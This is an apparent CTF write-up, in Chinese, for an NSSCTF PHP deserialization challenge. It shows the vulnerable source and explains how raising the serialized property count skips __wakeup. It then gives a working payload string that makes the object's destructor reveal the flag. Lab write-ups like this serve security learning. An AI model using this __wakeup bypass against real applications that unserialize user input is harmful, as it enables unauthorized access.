【PHP反序列化】css夺旗赛

https://www.nssctf.cn/problem/429

源码:

bash 复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 
  1. 类结构HaHaHa类有两个属性adminpasswd

  2. 构造函数 :设置默认值admin="user", passwd="123456"

  3. __wakeup魔术方法 :在反序列化时自动调用,对passwd进行sha1加密

  4. __destruct魔术方法:在对象销毁时检查条件,如果满足就输出flag

需要同时满足两个条件才能获取flag:

$this->admin === "admin" && $this->passwd === "wllm"

但是__wakeup()方法会在反序列化时自动执行,将passwd进行sha1加密,这会导致:原始设置的passwd="wllm"会被加密成sha1("wllm"),加密后的值不等于"wllm"

解决方案:绕过__wakeup

PHP的反序列化漏洞中,可以通过修改序列化字符串中的对象属性数量来绕过__wakeup方法的执行。

构造payload

  1. 首先创建满足条件的对象:
bash 复制代码
<?php
class HaHaHa{
    public $admin;
    public $passwd;
}

$obj = new HaHaHa();
$obj->admin = "admin";
$obj->passwd = "wllm";

echo serialize($obj);
?>
复制代码

正常序列化字符串: O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

绕过__wakeup的payload:

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

注意:当反序列化的对象属性数量与实际类属性数量不匹配时,__wakeup()方法不会被执行,所以 将属性数量从2改为比实际数量大的数字:3

复制代码
相关推荐
你怎么知道我是队长39 分钟前
C语言---头文件
c语言·开发语言
期待のcode44 分钟前
Java虚拟机的运行模式
java·开发语言·jvm
hqwest1 小时前
码上通QT实战25--报警页面01-报警布局设计
开发语言·qt·qwidget·ui设计·qt布局控件
a程序小傲1 小时前
京东Java面试被问:动态规划的状态压缩和优化技巧
java·开发语言·mysql·算法·adb·postgresql·深度优先
HellowAmy1 小时前
我的C++规范 - 玩一个小游戏
开发语言·c++·代码规范
徐先生 @_@|||2 小时前
Palantir Foundry 五层架构模型详解
开发语言·python·深度学习·算法·机器学习·架构
tang777893 小时前
爬虫如何绕过绕过“5秒盾”Cloudflare:从浏览器指纹模拟到Rust求解之不完全指南
开发语言·爬虫·rust·cloudflare
Yuer20253 小时前
什么是 Rust 语境下的“量化算子”——一个工程对象的最小定义
开发语言·后端·rust·edca os·可控ai
hqwest3 小时前
码上通QT实战26--系统设置01-系统设置布局
开发语言·qt·qss·qt基础控件·qt布局控件·qt表格控件
薛定谔的猫19823 小时前
llama-index Embedding 落地到 RAG 系统
开发语言·人工智能·python·llama-index